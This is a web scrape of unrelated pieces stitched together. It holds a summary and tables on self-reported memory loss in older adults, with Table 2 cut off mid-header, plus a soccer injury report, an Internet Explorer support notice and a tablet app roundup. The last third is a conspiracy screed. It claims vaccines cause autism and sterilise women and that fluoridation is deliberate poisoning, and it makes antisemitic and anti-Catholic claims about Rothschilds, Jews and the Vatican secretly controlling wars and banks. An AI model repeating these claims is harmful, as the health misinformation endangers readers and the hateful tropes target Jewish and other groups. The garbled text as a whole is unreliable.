What is already known on this topic? Cognitive decline can negatively affect a person's life and might progress into a more serious state of impairment or dementia. Memory problems typically are one of the first warning signs of cognitive decline, and up to two thirds of conditions that meet the criteria for dementia are undiagnosed.When diagnosed early and accurately, opportunities exist to treat potentially reversible causes, initiate financial planning, develop advance directives, enroll in clinical trials, and anticipate care needs. National plans call for expanding data and surveillance efforts to track dementia and its impact on individual and population health in the United States. What is added by this report? Approximately one in eight adults aged ≥60 years surveyed from 21 states reported increased confusion or memory loss in the preceding year. Among these persons, 35.2% experienced difficulties resulting from confusion or memory loss. Wide variation in these results was found across the 21 states. Respondents who reported functional difficulties were significantly more likely than those who did not to report needing help (81.0% compared with 38.2%), getting help from a family member or friend (46.5% compared with 6.0%), and talking with a health-care provider about their increased confusion or memory loss (32.6% compared with 12.1%). What are the implications for public health practice? These findings underscore the need to facilitate discussions with health-care and service providers so that linkages can be made to accurate information and needed services. They also indicate the importance of state-based surveillance to estimate the magnitude of the problem among older adults living in the community.
TABLE 1. Self-reported increased confusion or memory loss (CML) and associated functional difficulties among adults aged ≥60 years, by selected characeristics — Behavioral Risk Factor Surveillance System, 21 states, 2011 Characteristic Increased CML Functional difficulties among those with increased CML Unweighted no.
in sample Unweighted no. with increased CML Weighted % reporting increased CML (95% CI) Unweighted
no.
in sample Unweighted no. with increased CML Weighted % reporting increased CML (95% CI) 21 states overall 59,852 6,807 12.7 (12.1–13.3) 6,654 2,254 35.2 (32.7–37.8) Age group (yrs) 60–64 14,943 1,507 12.0 (10.8–13.2) 1,469 611 44.7 (39.2–50.2) 65–74 24,383 2,505 11.9 (11.0–12.8) 2,444 742 29.0 (25.4–32.9) 75–84 15,718 2,058 14.0 (12.9–15.2) 2,022 618 32.6 (28.0–37.5) ≥85 4,808 737 15.6 (13.7–17.7) 719 283 37.8 (31.1–44.9) Sex Men 21,550 2,677 13.4 (12.4–14.4) 2,606 827 34.5 (30.5–38.7) Women 38,302 4,130 12.1 (11.4–12.9) 4,048 1,427 35.9 (32.8–39.2) Race/Ethnicity* White 49,365 5,475 12.1 (11.5–12.7) 5,346 1,615 29.1 (26.7–31.6) Black or African American 4,697 529 11.8 (9.9–14.0) 522 287 61.6 (52.9–69.6) Hispanic or Latino 1,621 232 16.9 (13.8–20.6) 229 118 56.2 (45.3–66.5) Asian/NHOPI 1,536 161 13.8 (8.4–21.9) 160 50 16.2 (4.6–43.8) AI/AN 465 73 13.7 (7.8–22.9) 71 38 45.2 (21.6–71.2) Other race/Multiracial 1,388 218 15.3 (11.2–20.4) 215 86 39.4 (26.1–54.5) Education level Less than high school diploma 6,791 1,019 16.2 (14.4–18.2) 988 522 52.9 (46.5–59.3) High school diploma 19,580 2,234 12.5 (11.5–13.6) 2,194 756 35.3 (30.6–40.3) Some college 15,279 1,738 12.1 (11.2–13.2) 1,702 524 28.3 (24.5–32.5) College graduate 18,077 1,803 10.9 (9.9–12.0) 1,757 446 24.2 (20.0–28.9) Disability status Disabled 24,339 4,363 20.2 (19.1–21.3) 4,263 1795 44.4 (41.1–47.7) Not disabled 35,254 2,410 7.5 (6.9–8.1) 2,357 451 18.3 (15.3–21.7) Veteran status Veteran 12,061 1,610 13.9 (12.6–15.2) 1,566 480 34.4 (29.1–40.2) Not a veteran 47,764 5,193 12.3 (11.7–13.0) 5,085 1,773 35.5 (32.7–38.5) Employment status Employed/Self-employed 12,447 920 7.8 (6.9–8.9) 899 174 24.4 (18.7–31.2) Unemployed 1,426 200 16.4 (12.7–20.9) 196 87 49.1 (35.5–62.8) Homemaker 4,097 457 11.8 (10.0–14.0) 453 141 34.5 (26.1–43.9) Student 61 7 3.9 (1.5–10.0) 6 2 — — Retired 37,781 4,198 12.3 (11.5–13.0) 4,104 1,219 27.7 (24.7–30.8) Unable to work 3,846 989 28.3 (25.1–31.7) 961 612 65.0 (58.5–71.0)
TABLE 2. Self-reported increased confusion or memory loss (CML) and associated functional difficulties among adults aged ≥60 years, by state — Behavioral Risk Factor Surveillance System, 21 states, 2011 State Increased CML Functional difficulties among those with increased CML Unweighted
no.
in sample Unweighted no. with increased CML Weighted % reporting increased CML (95% CI) Unweighted no.
Wright-Phillips has been out of action since picking up a hamstring strain in the Red Bulls’ 1-0 win over FC Dallas on Sept. 22, and head coach Mike Petke isn’t optimistic the forward will be back in time to face the Houston Dynamo.
“Bradley is still recovering but potentially could start doing some movement outside in the next couple of days,” Petke said in a conference call on Tuesday. “Nothing’s impossible, but the way I’m taking it is: Until [the doctors] give me that glimmer of hope, I’m counting on him to still be recovering.”
Wright-Phillips has played in five games for the Red Bulls since joining the team on July 24, earning one assist in four starts. Though his recovery is progressing nicely, there’s still a ways to go before he is game fit.
“There’s always a chance, I would assume,” Petke said. “He looks good walking around. He’s going to treatment non-stop. Our medical staff is very good, so they could potentially have him back, but as of now I don’t have that answer yet.”
Petke was even more succinct when asked about Miller’s status. The Costa Rican left back suffered an injury on his Achilles tendon against Chivas USA on August 25.
“Roy is still recovering and not out in the field yet,” Petke said.
The one ray of hope comes from the injured Connor Lade. The Red Bulls sophomore hurt his knee in training early in the season, but after several setbacks seems to be making his way back to fitness.
Lade took part in training on Wednesday.
“Connor is starting to become active,” Petke said. “He’s doing some stuff out in the field. Perhaps there’s a chance maybe he’ll be playing a little more [on Wednesday] when we get back to practice.”
Microsoft will push the last set of security updates for IE8, IE9 and IE10 next Tuesday(January 12). Thereafter that Microsoft will drop support of these three versions of IE. These are some other old products given up by Microsoft since Windows 7. IE11 will be the only Internet Explorer supported and Edge will be another star advocated by Microsoft.
The good news is you will not get annoying notification from Microsoft anymore to ask you to upgrade your IE. But the bad news users will be exposed to more and more security vulnerabilities if continuing to use the old versions of IE. Microsoft is currently promoting its new next generation web browser Edge, which was released along with the release of Windows 10. With this, Microsoft can focus its resource on developing more promising products.
According to statistic from NetMarketShare, IE 8, IE9 and IE10 take 19.8% market share in December 2015.
This edition focuses only on new tablet apps or ones that added tablet support. Regular apps and games are coming soon.
Please wait for this page to load in full in order to see the Please wait for this page to load in full in order to see the AppBrain widgets, which include ratings and pricing info. Looking for the previous roundup editions? Find them here.
Featured App
Rogue AI
Today's tablet roundup is sponsored by a pretty awesome game called Rogue AI. Rogue AI is a defensive strategy with a tower defense feel, built exclusively for tablets. Launched into space, you are a machine with a single objective. Return to Earth and annihilate the entire human race.
The game was recently updated with a new campaign consisting of 8 new levels, doubled the number of enemy types and buildings, and added new backgrounds, music, and sound effects. That's a pretty nice update if you ask me.
However, my favorite part about the description is this:
Also, zero permissions! I'm sorry, but I do not need to collect your text messages and browser favorites and sell them to advertisers. I'm here to make games, period. All game, no fluff.
This is the kind of game I can get behind. And you should too.
The app was not found in the store. :-( Go to store Google websearch
For Tablets
TiVo for Tablets
Android Police coverage: Tivo For Android Tablets Officially Available In The Play Store
TiVo DVR and non-TiVo DVR customers can get the TiVo experience in the palm of their hands with the FREE TiVo app. Turn your Android tablet into command central for your TiVo DVR. Now you can search, browse, discover and share without ever interrupting the show you’re watching. Quickly surface new content, view guides, schedule and manage recordings, get recommendations, or dig deeper into a particular actor’s entire resume—all using intuitive, gesture-based interaction.
SocialFrame Free HD
SocialFrame sucks in your local, Facebook, and Twitter photos and then turns your tablet into a digital photo frame. It has a little widget for time and weather too and is overall quite well made. If you have an old tablet laying around, you may just want to turn it into a full-time photo frame.
Maximize your tablet usage. You can now use your tablet when you are not using your tablet. Do you own a digital photo frame at home? You then understand how troublesome it is to sync your updated photos and wondered only if you could sync Facebook/Twitter photos more easily.
Now you can do so with SocialFrame! It automatically syncs all your tagged photos. This is a great gift for your parents. From Facebook, simply tag parents' names in photos, and voila! you can now share photos of your lovely baby, surprise birthday events, romantic trip to Hawaii, etc. You can do the same by sending photos to their Twitter. You wake up in the morning, SocialFrame tells you the time, weather, and RSS feeds to get you updated with the happenings around the world.
SpaceChem Mobile
SpaceChem is an obscenely addictive design-based puzzle game about fake science. IMPORTANT: This game is designed for tablets with a resolution of 1280x800 or greater. Take on the role of a Reactor Engineer working for SpaceChem, the leading chemical synthesizer for frontier colonies. Construct elaborate factories to transform raw materials into valuable chemical products! Streamline your designs to meet production quotas and outperform other engineers. SpaceChem Mobile is a faithful adaptation of the award winning PC game SpaceChem, and includes the full selection of player-created “ResearchNet” puzzles and a modified campaign tailored for the iPad.
Tabstagram
The official Instagram app supports tablets, but the UI is not optimized for them very well. If you are looking to browse Instagram photos on your tablet, Tabstagram seems like a good way to go.
Tabstagram brings you the Instagram experience with an interface specifically tailored to utilize the screen estate on your tablet. Browse through the latest images in your feed, or check out the most popular images currently on Instagram. Tabstagram fully supports commenting and liking images, all with a sleek, good looking Ice Cream Sandwich inspired interface.
The app was not found in the store. :-( Go to store Google websearch
Heroes Call THD
Android Police coverage: Heroes Call THD Lands In Play Store, Lets You Loot Dungeons And Fight Monsters For Free
Technically this will work on Tegra phones too, but there are many more Tegra tablets out there and the game plays so much better on a tablet that I decided to include it here. This time Tegra 2 can join the party too - this is not a Tegra 3 exclusive.
Fight your way through more than 30 lush dungeons, collect gear, learn new skills and uncover the secrets of Brineside. Featuring incredible graphics and deep RPG levelling and gear, Heroes Call brings dungeon crawling action and adventure to the mobile and tablet as it's never been seen before. Brineside is a city under siege, beset with dangers from outside, within and below. The Adventurers Guild is in dire need of new Heroes. Are you ready to answer the call?
OPTIMISED FOR TEGRA
•Dynamic player lighting
•Enemy rag doll : Knock your opponents down stairs and off ledges!
•Enhanced particle effects
•Variable camera distance
DUNGEON CRAWLING AT ITS BEST AND FOR FREE
•Visceral combat with a range of weapons.
•Built from the ground up for touch.
•Incredible 3D graphics that showcase the power of Tegra.
•Intuitive controls, designed specifically for touchscreen devices, easy to pick-up and offering depth to master.
•Each hero has a wide range of powers and abilities, level your hero to match your play style.
RICH UNIQUE CONTENT
•Over 40 quests split into different adventures that take you all around Brineside.
•Quests play out in unique order, so every Hero has a different journey.
•Over 100 different enemies including Orcs, Zombies, Skeletons and Ogres.
The app was not found in the store. :-( Go to store Google websearch
BeNote
Intelligent Notetaking. BeNote is a carefully crafted notetaking tool that helps you to efficiently capture and recall important information. Great for home projects, meetings, brainstorming, workshops, lectures or just to capture a passing thought, BeNote helps to keep your notes organized and easily accessible.
Notetaking Evolved
The purpose of notetaking is to capture information. BeNote is designed from the ground up to help you do that efficiently. Don't be forced to choose between a to-do list or text (or a picture), or to sign up for yet another service before actually taking notes. With BeNote, you can start taking notes immediately. Using a structured approach to notetaking, BeNote exposes useful functions and capabilities exactly when you need them. Helpful note entry tools are always available to quickly enter dates, times, key points, questions, action items(todos), decisions, images, snapshots, sketches, participants and more.
The purpose of notetaking is to capture information. BeNote is designed from the ground up to help you do that efficiently. Don't be forced to choose between a to-do list or text (or a picture), or to sign up for yet another service before actually taking notes. With BeNote, you can start taking notes immediately. Using a structured approach to notetaking, BeNote exposes useful functions and capabilities exactly when you need them. Helpful note entry tools are always available to quickly enter dates, times, key points, questions, action items(todos), decisions, images, snapshots, sketches, participants and more. Improve Recall
Notetaking studies consistently support reviewing your notes to enhance recall. BeNote's Review Mode allows you to filter your note entries by type, or by specified keywords. Add a summary to your notes when your review session is complete. BeNote shows all action items, questions and decisions across all notes in the topic overview.
Notetaking studies consistently support reviewing your notes to enhance recall. BeNote's Review Mode allows you to filter your note entries by type, or by specified keywords. Add a summary to your notes when your review session is complete. BeNote shows all action items, questions and decisions across all notes in the topic overview. Flexible, Powerful Organization
Assign multiple topics to a note. Group topics so you can focus on only the topics that matter. Use powerful built-in search to quickly locate any note instantly.
Assign multiple topics to a note. Group topics so you can focus on only the topics that matter. Use powerful built-in search to quickly locate any note instantly. Designed for Android
BeNote has been carefully designed to look and function well on the Android platform. Share your notes via any installed application. Add and retrieve participants' info from your contact list. Create backups and send or restore backups from your favorite installed cloud storage service like Google Drive, DropBox, etc.
The app was not found in the store. :-( Go to store Google websearch
TBS for Tablets
If laughter is the best medicine, we've got your comedy cure. And the best part? This prescription is free. With the TBS very funny Android Tablet app, you can have access to your favorite comedies wherever and whenever you want. Watch full episodes of Conan, Tyler Perry's House of Payne, The Office and more after authenticating through your cable or satellite provider. You can also check out episode guides, watch clips and behind-the-scenes videos, set schedule reminders and more.
FEATURES:
- Full Episodes of TBS Series (after authenticating)
- Series Episode Guides
- Clips and Behind-the-Scenes Video
- Show Schedules with Reminders
- GetGlue, Facebook and Twitter Integration
The app was not found in the store. :-( Go to store Google websearch
XFINITY TV Player
Android Police coverage: [New App] XFINITY TV Player Gives Comcast/Xfinity Subscribers Access To TV And Movies On The Go, Including Streampix
If you have Xfinity/Comcast and an Android tablet, this app is a must. It has a tablet UI, streams full TV shows and movies, and even does your laundry. Streampix is supported too if you have it.
Watch thousands of XFINITY ON Demand TV Shows & Movies anytime, anywhere. Download the XFINITY TV Player and put a world of entertainment in the palm of your hand. With the XFINITY TV Player App, you can watch thousands of hours of TV shows and movies.
Play content anytime, anywhere on your Android Phone or Tablet
Enjoy TV Shows and movies from your favorite networks, including premium channels like HBO, Starz, Showtime, Cinemax and cable channels like TNT, TBS, Cartoon Network and BBC America.
Set parental controls, so you can enjoy your content with privacy and peace of mind.
The app was not found in the store. :-( Go to store Google websearch
Game Informer
Sure, there's a Game Informer edition on the new Google Play Magazines, but the tablet app has the benefit of interactive digital content. If you're a fan of Game Informer, you should definitely check it out.
Welcome to Game Informer, the world’s largest computer and video game magazine. A 20-year veteran to publishing, Game Informer Magazine continues to shape the video game industry by expanding perspectives and providing in-depth knowledge and insight into the games market. We deliver news, previews, reviews, and features on computer, mobile, social, and console video games including Xbox 360, PlayStation 3, Wii U, Wii, 3DS, DS, PC, Vita, iOS, Android, and PSP. Now available on your 10" Android tablet, Game Informer Magazine is the industry's leading magazine and is the 4th largest overall consumer magazine in the United States (December 2011, Audit Bureau of Circulations). You can buy individual issues or subscribe, all right within the app.
Discoid FT (For Tablets)
If you love graphs and keeping track of media, this app is for you. It makes graphs. LOTS OF GRAPHS.
Music Collector's reference for LPs, Cds and Cassettes releases (uses Discogs). Discoid FT is a redesigned version of Discoid especially for Tablets, information is now more easily accessible without having to switch between tabbed screens. Discoid FT uses Discogs and Last FM's huge collection of online data to supply artwork, track listings and background information to fully document your collection, what's more you can search on everything from musicians to track titles - you will be amazed where this can lead you.
Have you ever wished to carry a list of your CD or Record Collection around with you but never got around to it? Well Discoid makes the task of cataloguing your collection a doddle, just simply scan in the barcode and you are away! If your item lacks a barcode you can match on the Catalog Number, Title, Artist or whatever. What Else Can You Do With Discoid?
Create a Wanted List and update it as you browse.
View Statistics on your Music Collection, number of artists, titles, genre, style.
Display any Group, Album Cover, Label or Format Image full screen on your mobile and use Pinch and Zoom functionality to get up close and personal with your favourite artist or label - and you can save the image to your sd card if you wish.
View further info and video via links to wiki and youtube sites for each artist.
Search Discogs database for any Artist, Title, Label, Catalogue Id or Discogs Id you desire.
Visit your Discogs user account and view, diff and merge your collection directly with Discoid's.
Use Discoid's extensive filtering to hunt down virtually any type of music media (from Cassettes to DVDs).
Export your data in xml, html or database form so you can exchange with other Discoid users, you can even have a desktop html copy.
Choose one of 7 colour themes.
Choose one of 50 record labels as your wait cursor.
Launch Spotify or Last FM to play music.
The app was not found in the store. :-( Go to store Google websearch
hovernote
Android Police coverage: Hovernote Is A Floating Notepad To Add To Your Floating App Arsenal
Hovernote is compatible with phones as well, but for obvious reasons, it's far better suited for tablets.
hovernote is a floating notepad app for your phone or tablet. With hovernote, you can write notes while using any other app on your device.
hovernote allows you to open any number of note windows, for unrestricted productivity. hovernote's configurable, minimalist interface keeps out of your way.
• Floats over other apps, allowing true multitasking
• Share notes with other applications, such as Dropbox, Evernote, or whatever else you use. hovernote works with the apps you already have.
• .txt file input and output, with browser
• Can have several notes open simultaneously
• Configurables:
‣ Whether to keep a notification after closing all of the notes, to quickly open a new note
‣ Whether to autosave a .txt file note
‣ Whether to hide the window controls when switching away from a note, to save screen space
‣ Window Transparency
‣ Font style and size
CamCard HD Free-BizCard Reader
CamCard is a fantastic business card reader with high recognition accuracy and many handy features. Simply take a picture of a business card, CamCard recognizes the contact information and saves in Card Holder or Address Book. Then feel at ease to manage piles of business cards on the go across smartphones, tablets, Mac/PC and etc.
Key features in CamCard HD:
1. Superior accurate recognition: simply take a picture of a business card, the contact information is accurately recognized and saved into address book, Gmail, Outlook or other Exchange account.
2. Real card flipping feel and premium visual effects: multiple browsing modes to sort out business cards easily on the go.
3. Unique smart features:
• Auto-detect text orientation
• Auto-detect card language
• Auto-detect card image rotation
• Auto-crop card image
• Auto-enhance business card image
4. Fast access card information: send emails, browse web sites and locate address on maps by directly clicking on card image
5. Seamless synchronization across multiple devices: manage card information with smartphones, tablets and Mac/PC.
6. Auto backup: sign up with CamCard and auto backup in the cloud.
7. Multiple languages supported: Simplified Chinese, Traditional Chinese, Japanese, Korean, English, French, Spanish, Portuguese, German, Italian, Dutch, Swedish, Finnish, Danish, Norwegian and Hungarian.
More handy features:
• Batch Scanning
• QR Code creation and recognition
• Email Recognition
• Share contacts via Email and QR Code
• Export to vCard or Excel files
• Introduce friends to each other and let them save each other’s cards right away
• Search, sort, and group manage contacts
• Double side business card image
• Make notes to cards
• Create your own business card and share with others instantly
Win8 Metro Testbed
Android Police coverage: Splashtop Thinks You're Going To Spend $25 (Or More!) To Pretend Your Android Tablet Runs Windows 8
If you really have to play around with Win8's tablet UI, I suppose you can shell out $25 and hook up your Android tablet to a PC running Windows 8. And that's the price on a 50% off sale. These people are nuts - but hey, maybe some of you woke up today thinking "I wish I could load up Metro UI on my beautiful Android tablet encrusted with diamonds today." Well, then. Go on. Jerks.
Enjoy Win8 on your Android tablet. No need to spend over $1,000 to buy a Win 7 tablet in order to try out the Win 8 Metro touch experience, Splashtop is the ONLY app that allows you to experience the TRUE Windows 8 Metro UI on your Android tablet and iPad.
Please Note:
#. A PC installed with Windows 8 Release Preview is required.
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Google+
Android Police coverage: Google I/O Day One Roundup – Jelly Bean, Google Glass, Two New Nexus Devices, And So Much More
Android Police coverage: Google+ Update Rolling Out Now, Ditches Its Old New Interface For A New New Interface, Now With Tablet Support
Yes! The Google+ app now has a tablet UI, and it's glorious. Absolutely glorious.
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Android Police coverage: HBO GO Update Brings Support For Android Tablets Up To 4.0.4
The previous HBO GO update brought support for ICS phones but the most recent one finally rolled out a tablet UI, up to 4.0.4. Sorry, Nexus 7, you're not supported just yet.
Watch over 1,400 of your favorite HBO shows, including HBO original programming, hit movies, sports, comedy and much more—now available on Android smartphones and tablets. It’s HBO. Anywhere.
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BLOOD ON THE STEPS - AZTEC SATANIC RITUAL HUMAN SACRIFICE - DIEGO RIVERA OF MEXICO - SHOWING THE CONSTANCY OF SATANIC HUMAN SACRIFICE RITUAL, CANNIBALISM RITUAL, PROSTITUTION AND SLAVERY IN ALL SOCIETIES THROUGHOUT HISTORY
- THE BLOOD IS THE LIFE!!
BLOOD ON THE STEPS - AZTEC RITUAL HUMAN SACRIFICE - DIEGO RIVERA OF MEXICO - SHOWING THE CONSTANCY OF SATANIC HUMAN SACRIFICE RITUAL, SATANIC CANNIBALISM RITUAL, SATANIC PROSTITUTION AND SLAVERY IN ALL SOCIETIES THROUGHOUT HISTORY
See the Satanic Incas, Toltecs, Mayans cutting the hearts out of thousands of people and selling their meat at the altar.
BLOOD ON THE STEPS - AZTEC RITUAL HUMAN SACRIFICE DETAIL - DIEGO RIVERA OF MEXICO - SHOWING THE CONSTANCY OF SATANIC HUMAN SACRIFICE RITUAL, SATANIC CANNIBALISM RITUAL, SATANIC PROSTITUTION AND SLAVERY IN ALL SOCIETIES THROUGHOUT HISTORY
HUMAN SACRIFICE VICTIMS PARTS ARE SOLD BY THE PRIESTHOOD AS SACRED MEAT
SLAVE INSPECTED FOR DISEASE - SLAVERY HAS BEEN A CONSTANT FOR THOUSANDS OF YEARS
Ritual Human sacrifice see http://one-evil.org/content/acts_ritual_sexual_human_sacrifice.html and http://one-evil.org/content/acts.html
THESE RITUALS DEFINE SATANISM.. RITUAL SEX, RITUAL DRUGS, RITUAL BLOOD SACRIFICE, RITUAL HUMAN SACRIFICE, RITUAL TORTURE, RITUAL BURNING ALIVE, RITUAL CANNIBALISM, RITUAL CASTRATION
RITUAL SEX
CONSCIOUSLY CREATED FAKE GANGS
All Rituals, Religion, Education, Secret Services and Political Movements have been Scientifically Engineered to create Fake Gangs for 10,000 Years. It's what the old Roman Empire, and the Babylonian Empire, and the Cult of Apollo, and the Byzantine Empire did before.
The Guy Fawkes plotters were a 'Fake gang' controlled by the London government. The UK's General Frank Kitson (Trail Blazing Fake Terrorism) refers to the 'Fake gangs' set up by the security services. The idea of the 'Fake gang' is to carry out acts of violence which can then be blamed on other people. Fake gangs have been used in Ireland (IRA), Vietnam, Italy - GLADIO, Turkey, Belgium, the Philippines, Kenya, Malaya, Iraq, Syria (ISIS), New York (Al Qaeda) and many other places. Lord Stevens, a former UK police chief, is quoted as saying that only three out of 210 terrorist suspects he arrested in a probe in Northern Ireland were not working for either the police, the security service MI5 or the UK Army. On 21 December 2011, we learnt that the IRA was run by the UK security services. Stephen Grey's book The New Spymasters says the UK intelligence services used the family of 'IRA leader' Gerry Adams as spies for the UK military. It would seem that the security services set up satanic pedophile child abuse rings in order to control certain key people.
The fake gangs idea has been used since Babylon 10,000 years ago, with this Scientific Engineering of Society, the Satanic Religion - another fake gang - has spread and infil-traited every noble family, every noble civilisation, and it is even now infil-traiting your country, your civilisation. All Rituals, Religion, Education and Political Movements are designed to create fake gangs of psychopaths who can then be used to create control through chaos created poverty - The Oligarchic Policy of Poverty - destroying infrastructure - preventing human evolution - creating control!!
CONSCIOUSLY CREATED FAKE GANGS
1. ISIS - Venetian created MI6 created Wahhabism in 1706 - based on the same principles as Lutherism - and institutionalised it in MI6 created Saudi Arabia to create destabilising Jihadi Armies creating chaos in the Middle East, Russia and China.
2. PROTESTANTISM - Luther, like Abdul Wahhab was a paid Agent working for Venetian Cardinal Contarini
3. ETON - SINCE 1430, Whipping and Fagging to create Fierce Homosexual Warriors in an educational system based on Greece and Sparta - The foundation of the British Empire.
4. SATANISM/LUCIFERIANISM/33RD DEGREE FREEMASONRY - Pagan Rituals and Myths used to pervert, degenerate and control a psychopathic ruling class. Mao was a 33rd Degree Freemason!!
5 . SATANIC SABBATEAN FRANKISTS infiltrate Jews and Jewish organisations worldwide. Pagan Rituals and Myths used to pervert, degenerate and control a Jewish psychopathic ruling class of Donmeh Attaturk, Rothschilds, Rockefellers, Schiffs, Warburgs.
6. KARL MARX - Wrote Das Capital from his MI6 provided office in the British National Museum under Ambassador Urquhart creating MI6 inspired Communism, Russian Revolution (65 millions tortured dead) and Mao's Chinese Revolution (85 millions tortured dead), and Socialism. George Orwell's Totalitarian text's "1984" "A Boot, stamping in your face, forever" - the Totalitarian or Legalist Fake Gangs sprang from this bough. Capitalists, Marxists, Communists and Socialists spring from the same Fake Gangs bough.
7. CATHOLICISM AND CYBELE AND ATTIS WORSHIP and its castrated Galli Homosexual Pederasty Priests - the State Religion of the Roman Empire - morphed into the Catholic Church, Cybele - Mary, Adonis - Jesus, Molech - God. The Black Death. Pederasty, Inquisition - The Horror Holy Medieval Inquisition - 50 million tortured burned dead, - burning alive, breast rippers, strappado, rack etc. Fascism and the Holocaust. The Catholic Church is controlled through the Gang Kings, Queens, Nobility of Europe. The Jesuits, The Knights of Malta. Its Vatican Bank is fronted by the Rothschilds, has 500 Trillion Dollars, controls 70% of Fortune 500 companies, controls 70% of all banks Worldwide, controls 100% of all central Banks, consciously creating all depressions, all austerity, all Wars, all famine genocide, False Flags and the assassinations of JFK, RFK, and MLK, or the September 11th “Terror Attacks”.
8. EUGENICISTS started by Huxley, Darwin, Pilkington families, later named TRANSHUMANISTS by Sir Julian Huxley, Head of Rockefeller created UNESCO who spilled the beans to his brother Aldous Huxley in his book, "Brave New World" in 1932. Later in a 1963 speech at Columbia University, Aldous admitted the Aim of Eugenicists was the same as that of his book.
9 ECONOMISTS - Economists have been paid - Adam Smith (and his Satanic Mandevillian, "Public benefits come from Private Vices") was a hack, paid by Lord Shelburne, Head of the British East India Company, foundation of the British Empire - to create an Economics which would perpetuate the Bankers of the British Empire, later the Anglo-American Empire. Free Trade destroys indigenous businesses and allows infinite interest rates. Austrian Economics and it's Austerity - The Oligarchic Principle of Poverty - was supported and spread by Nelson Rockefeller. The Economist Fake Gangs.
9. SOCIAL DARWINISTS
The Treaties - Trans Pacific Partnership TPP - USA - SE ASIA, and Trans Atlantic Partnership TAP - USA - EUROPE, now signed into Law even though these Treaties are Secret, place Vatican Controlled International Fortune 500 Companies above all Governments to censor the internet and much more..
I guess the education system isn't full proof indoctrinating your children into Bolshevik Communism....they need more weapons to more quickly dumb down humanity...vaccines are all set up to make the tribe over at the Rockefeller medical industrial complex $90 Billion a year....autism was practically unheard of until they started pumping babies with tainted vaccines to turn them into a bunch of handicapped chimps...
If you really think that my analysis is a form of softness or passivity then you really misread me and the purpose of this site. You probably know that it is a well-known problem with despots and dictators when the gradually surround themselves with only those kind of advisors who enthusiastically agree with everything the despot wants to hear and with everything the despot says.
Enemy Propaganda is like this.
My question to you is simple: do you want to turn into a “despotic reader” – somebody who will come to this site to hear his views supported, his ideas vindicated and his hopes affirmed? Or do you prefer to come here, get what I hope is an honest, if generally cautious, analysis which you can then either accept or reject?
My job is to try to present to you the truth as best as I can distinguish it - and see below the supporting evidence. Even when that truth is cautious or, worse, unpleasant.
Look, the intelligence process goes through what is called the “Four A's”: Acquisition, Analysis, Acceptance, Action. The first one is “getting the data/info”. The second one means making sense of it and presenting it to your “client” (in this case: all of you). The third one is always overlooked: acceptance by the “client” – i.e., the willingness to hear a negative or disappointing analysis. This is the part which YOU (collective “you”) must do (or refuse to do). Last is action.
The actions I recommend are the avoidance of poison, and the active getting the poison out of the body, physically, emotionally, mentally, spiritually with Energy Enhancement Meditation Course either by Video or Live, with us. Deprogram, Become normal. Spread the plan.
THERE IS A PATH!!
Satanic ISIS, British 1710 Secret Agent Hempher Salafism and Saudi Arabian Wahhabism ISIS - Venetian created MI6 created Wahhabism in 1706 - based on the same principles as Lutherism - and institutionalised it in MI6 created Saudi Arabia
The Illuminati Enemy Within Freemasonry - Weishaupt, General Pike, Palladian Rite, Morals and Dogma, Rose-Croix, Templars, Alta Vendita or highest lodge of the Italian Carbonari, Mazzini, The Lost Keys of Freemasonry, Manly P. Hall the seething energies of Lucifer - Satan, or Lucifer, and the demons, Demonic Possession, Morals and Dogma, Albert Pike, Elias Ashmole edited Dr. John Dee, sorcerer who "brought through" the Enochian system of magic, of satanic ritual and demonic evocation, the Pagan Eleusinian Mysteries, Council on Foreign Relations ... the Trilateral Commission ... and the Bilderberger Group serve to disseminate and to coordinate the plans for this so-called new world order, Alice A. Bailey, 1950, 1986, "The Plan" involves a one-world government, an occult hierarchy, an elite "illumined" oligarchy ruling over a world in which Christianity has been slated to be displaced and destroyed.
THE INQUISITION
STRAPPADO BREAKING THE SHOULDERS, WEIGHTS, DROPPING..
Every noble family in Russia, Europe and the United States can trace it's genealogy back to Babylon.
See the Satanic Incas, Toltecs, Mayans cutting the hearts out of thousands of people and selling their meat at the altar.
See the Inquisition Torture and burning 50 millions of people alive.
POPE PIUS XII - FOUNDER OF FASCISM - WITH HITLER
See the Fascist Satanic Nazi SS (The Nazi SS - Sea Seclorum - Knights of the Holy See - was Authorised by the Pope Pius 12th who was Papal legate to Germany before he became Pope. The SS were controlled by Himmler who became Head of the Jesuits, the Black Pope, during WWII.) burning millions of people alive in a new inquisition holocaust.
"NOTHING LIES SO MUCH AS A JEWISH GRAVEYARD" - APPLIES TO ALL DEFEATED ENEMIES TOO
See the Satanic Babylonian Empire, the Satanic slave trading banking Roman Empire and it's offshoots, the Catholic Church, The Holy Roman Empire, The Black Nobility, the Satanic slave trading banking Venetian Empire which after infil-traiting Britain with William of Orange became the the Satanic slave trading banking British Empire and then the British American Empire..
MI6 created Eugenics and funded Hitler who was the first guy to think of putting rat poison in the drinking water. Then Stalin put rat poison in the drinking water. Then all over the World the satanic war sacrifice "lives for satan" nobility put rat poison in the drinking water 300 micrograms of Fluoride and Fluoro-Silicic Acid per liter. The Harvard University study on Fluoride in the drinking water says that 1.7 micrograms per liter drops the IQ by 20 points and gives bone cancer.
MI6 created Eugenics - There is a video of polio vaccine creator Jonas Salk bragging about putting sv40 cancer virus into his vaccines killing hundreds of millions through cancer. Through vaccine excitotoxins and heavy metals - mercury and aluminium - in vaccines in multiple shots babies are shocked into losing 20 IQ points and sometimes killed. Through vaccine hormones young women are sterilised.
I guess the education system isn't enough - indoctrinating your children into Bolshevik Communism.... they need more weapons to more quickly dumb down humanity...vaccines are all set up to make the tribe over at the Rockefeller medical industrial complex $90 Billion a year....autism was one in 25,000 practically unheard of until they started pumping babies with tainted vaccines - now autism is one in ten moving to one in two - to turn them into a bunch of handicapped chimps...
You can't make this stuff up!!
CAUGHT YOUNG, THEY CAN PERSUADE YOU OF ANYTHING, MAKE YOU A FOLLOWER OF ANY RELIGION, ANY TRIBE, ANY CULT..
While the globalists’ political and financial people have been busy erecting the superstructure of the multilateral/multipolar New World Order, their psychologists and sociologists have been busy as well. Through institutions like the Tavistock Institute in the UK and the Stanford Research Institute in the US, globalist minions have been formulating ways of molding the thinking of the masses to make them NWO-compatible.
Information about Tavistock and Stanford Research (now called SRI International) is all over the internet, but I found a particularly concise and informative introduction to them on page 326 of David Livingstone’s
Black Terror White Soldiers: Islam, Fascism & the New Age …
1. Ritual sex, homosexual, sexual, and pederasty - See Sir Jimmy Savile and pederasty see.. www.aangirfan.blogspot.com and www.aanirfan.blogspot.com and http://one-evil.org/content/acts_child_molestation.html
A way for Politicians and Royalty to, like the Mafia, make their bones, enter into the Elite Satanic Religion and to forever to be controlled by blackmail
2. Ritual Drugs
